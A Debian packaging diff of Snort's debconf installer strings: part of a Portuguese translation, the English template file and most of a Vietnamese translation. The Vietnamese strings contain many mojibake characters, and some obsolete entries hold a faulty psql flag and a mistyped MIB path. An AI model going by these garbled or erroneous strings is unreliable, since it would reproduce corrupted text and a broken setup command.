+#~ " . Caso você não possua _tudo_ isso, selecione 'Não' e execute o Snort "
+#~ "com o suporte comum de logging em arquivo ou providencie tudo o que é "
+#~ "necessário antecipadamente. Você poderá sempre configurar o logging em "
+#~ "base de dados posteriormente, reconfigurando o pacote snort-pgsql."
+
+#~ msgid ""
+#~ "Please create the database structure now, using the following command:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -u <user> -h <host> <databasename>\n"
+#~ "Filling in the correct values for the user, host, and database names. The "
+#~ "pgsql tool will prompt you for the password."
+#~ msgstr ""
+#~ "Por favor crie a estrutura da base de dados agora, usando o comando a "
+#~ "seguir :\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -u <usuário> -h <host> <nome_da_base>\n"
+#~ "Informando os valores corretos para usuário, host e nome da base de "
+#~ "dados. O PostgreSQL irá solicitar a senha."
+
+#~ msgid "Please enter a password to connect to the SNORT Alert database"
+#~ msgstr ""
+#~ "Por favor informe uma senha para se conectar a base de dados de Alertas "
+#~ "do Snort."
+
+#~ msgid "You are running snort manually."
+#~ msgstr "Você está executando o Snort manualmente."
+
+#~ msgid ""
+#~ "Please restart snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Por favor reinicie o Snort usando :\n"
+#~ " /etc/init.d/snort start\n"
+#~ "para fazer com que as configurações tenham efeito."
+
+#~ msgid "MIB-File addition for snmpd"
+#~ msgstr "Adição de Arquivo-MIB para o snmpd"
+
+#~ msgid ""
+#~ "Snort-common comes with two MIB-files for your snmpd to load, so it knows "
+#~ "about Snort's information. It is impossible for me to add these MIB-files "
+#~ "to your snmpd automatically. So if you want to have snort information "
+#~ "from your snmpd, please read the documentation that came with your snmpd "
+#~ "on how to install external MIB additions."
+#~ msgstr ""
+#~ "O Snort-common é fornecido com dois arquivos-MIB para seu servidor snmpd "
+#~ "carregar, de forma que seu servidor snmpd obtenha informações sobre o "
+#~ "Snort. É impossível para esse assistente adicionar esses arquivos-MIB "
+#~ "automaticamente em seu snmpd. Portanto caso você queira obter informações "
+#~ "do Snort a partir de seu snmpd, por favor leia a documentação que "
+#~ "acompanha seu snmpd sobre como instalar adições MIB externas."
+
+#~ msgid "Snort-common placed these two MIB-files in /usr/share/snmp/mibs/"
+#~ msgstr ""
+#~ "O Snort-common colocou esses dois arquivos-MIB em /usr/share/snmpd/mibs/"
+
+#~ msgid "eth0"
+#~ msgstr "eth0"
+
+#~ msgid "192.168.0.0/16"
+#~ msgstr "192.168.0.0/16"
+
+#~ msgid "1"
+#~ msgstr "1"
--- snort-2.8.5.2.orig/debian/po/templates.pot
+++ snort-2.8.5.2/debian/po/templates.pot
@@ -0,0 +1,507 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr ""
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
--- snort-2.8.5.2.orig/debian/po/vi.po
+++ snort-2.8.5.2/debian/po/vi.po
@@ -0,0 +1,616 @@
+# Vietnamese translation for Snort.
+# Copyright © 2008 Free Software Foundation, Inc.
+# Clytie Siddall <clytie@riverland.net.au>, 2005-2008.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort 2.7.0-15\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-28 16:20+0930\n"
+"Last-Translator: Clytie Siddall <clytie@riverland.net.au>\n"
+"Language-Team: Vietnamese <vi-VN@googlegroups.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Generator: LocFactoryEditor 1.7b3\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "khởi động"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "quay số"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "bằng tay"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Phương pháp khởi chạy Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Có thể khởi chạy Snort trong khi khởi động máy, khi kết nối đến Internet "
+"bằng pppd, hoặc chỉ khi bạn tự khởi chạy nó thông qua « /usr/sbin/snort »."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Các giao diện trên chúng Snort nên lắng nghe:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Giá trị này thư�ng là « eth0 », nhưng nó có thể không thích hợp trong một số "
+"môi trư�ng mạng; đối với kết nối quay số thì « ppp0 » có thể thích hợp hơn "
+"(xem kết xuất của « /sbin/ifconfig »)."
+
+# Notice that Snort is usually configured to inspect all traffic coming
+# from the Internet, so the interface you add here is usually the same the
+# 'default route' is on.  You can determine which interface is used for
+# this running either '/sbin/ip ro sh' or '/sbin/route -n' (look for
+# 'default' or '0.0.0.0').
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Bình thư�ng, đây là cùng một giao diện với cái chứa « tuyến mặc định ». Bạn "
+"có thể quyết định giao diện nào được dùng cho tuyến đư�ng này, bằng cách "
+"chạy « sbin/route -n » (tìm địa chỉ « 0.0.0.0 »)."
+
+# It is also not uncommon to run Snort on an interface with no IP and
+# configured in promiscuous mode, if this is your case, select the
+# interface in this system that is physically connected to the network you
+# want to inspect, enable promiscuous mode later on and make sure that the
+# network traffic is sent to this interface (either connected to a 'port
+# mirroring/spanning' port in a switch, to a hub or to a tap)
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Một số ngư�i nào đó cũng dùng một giao diện không có địa chỉ IP được cấu "
+"hình trong chế độ không phân biệt (promiscuous mode). Trong trư�ng hợp như "
+"vậy, hãy ch�n giao diện trên hệ thống này mà kết nối vật chất đến mạng cần "
+"kiểm tra, hiệu lực chế độ không phân biệt v� sau, và kiểm tra xem tr�ng tải "
+"trên mạng được gửi cho giao diện này (hoặc kết nối đến một cổng kiểu « phản "
+"chiếu/xuyện qua » trong cái chuyển, đến một cái nối hay một dây rẽ)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Cũng có thể cấu hình nhi�u giao diện: liệt kê các tên giao diện định giới "
+"bằng dấu cách. Mỗi giao diện có thể đặt cấu hình riêng."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Phạm vi địa chỉ cho mạng cục bộ :"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Bạn cần phải sử dụng dạng CIDR, tức là « 192.168.1.0/24 » cho một khối 256 "
+"địa chỉ IP, hay « 192.168.1.42/32 » cho chỉ một đi�u. Ghi rõ nhi�u địa chỉ "
+"trong cùng một dòng riêng lẻ, định giới bằng dấu phẩy « , » (không có dấu "
+"cách)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Ghi chú rằng nếu Snort được cấu hình để dùng nhi�u giao diện, nó sẽ dùng giá "
+"trị này làm l�i định nghĩa « HOME_NET » cho tất cả."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Snort nên tắt chế độ không phân biệt trên giao diện này không?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Vô hiệu hóa chế độ không phân biệt có nghĩa là trình Snort sẽ chỉ thấy những "
+"gói tin được gửi cho giao diện nó đang theo dõi. Việc hiệu lực chế độ này "
+"thì cho phép trình Snort kiểm tra m�i gói tin đi qua đoạn Ethernet, thậm chí "
+"nê�u nó là kết nối giữa hai máy tính khác."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Giao diện không hợp lệ"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort đang thử dùng một giao diện không tồn tại hoặc bị tắt. Hoặc nó đang "
+"trở v� giá trị mặc định sai « eth0 », hoặc bạn đã ghi rõ một giao diện không "
+"hợp lệ."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Thứ tự kiểm tra của Snort nên thay đổi thành « Pass|Alert|Log » không?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Thứ tự kiểm tra mặc định của Snort là « Alert|Pass|Log » (Báo động|�i qua|Ghi "
+"lưu). Bật tùy ch�n này thì thứ tự sẽ được thay đổi thành « Pass|Alert|Log », "
+"mà có thể làm cho đơn giản hơn khi dùng Snort với một số công cụ nào đó để "
+"l�c gói tin."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Có nên gửi hàng ngày thư đính kèm bản tóm tắt không?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Có thể thiết lập một công việc định th�i để gửi hàng ngày bản tóm tắt của "
+"các bản ghi Snort cho một địa chỉ thư điện tử đã ch�n."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Hãy ch�n có nên kích hoạt tính năng này hay không."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Ngư�i nhận thư thống kê hàng ngày:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Hãy ghi rõ địa chỉ thư điện tử nên nhận bản tóm tắt của các bản ghi Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Tùy ch�n riêng thêm:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Hãy ghi rõ bất cứ tùy ch�n khác nào Snort nên dùng."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Số lần xảy ra tối thiểu trước khi báo động:"
+
+# An alert needs to appear more times than this number to be included in
+# the daily statistics.
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Hãy nhập số tối thiểu các lần xảy ra báo động trước khi một báo động đã cho "
+"được chèn vào thống kê hàng ngày."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Cần thiết khởi chạy lại Snort"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Vì Snort được khởi chạy bằng tay, bạn cần phải chạy « /etc/init.d/snort » để "
+"các thay đổi có tác động."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Lỗi cấu hình"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Cấu hình Snort hiện th�i không phải là hợp lệ thì ngăn cản Snort khởi chạy "
+"bình thư�ng. Hãy xem lại và sửa chữa."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"�ể chẩn đoán lỗi trong tập tin cấu hình Snort, dùng « /usr/sbin/snort -T -c "
+"<tập_tin> »."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Tập tin cấu hình quá cũ"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
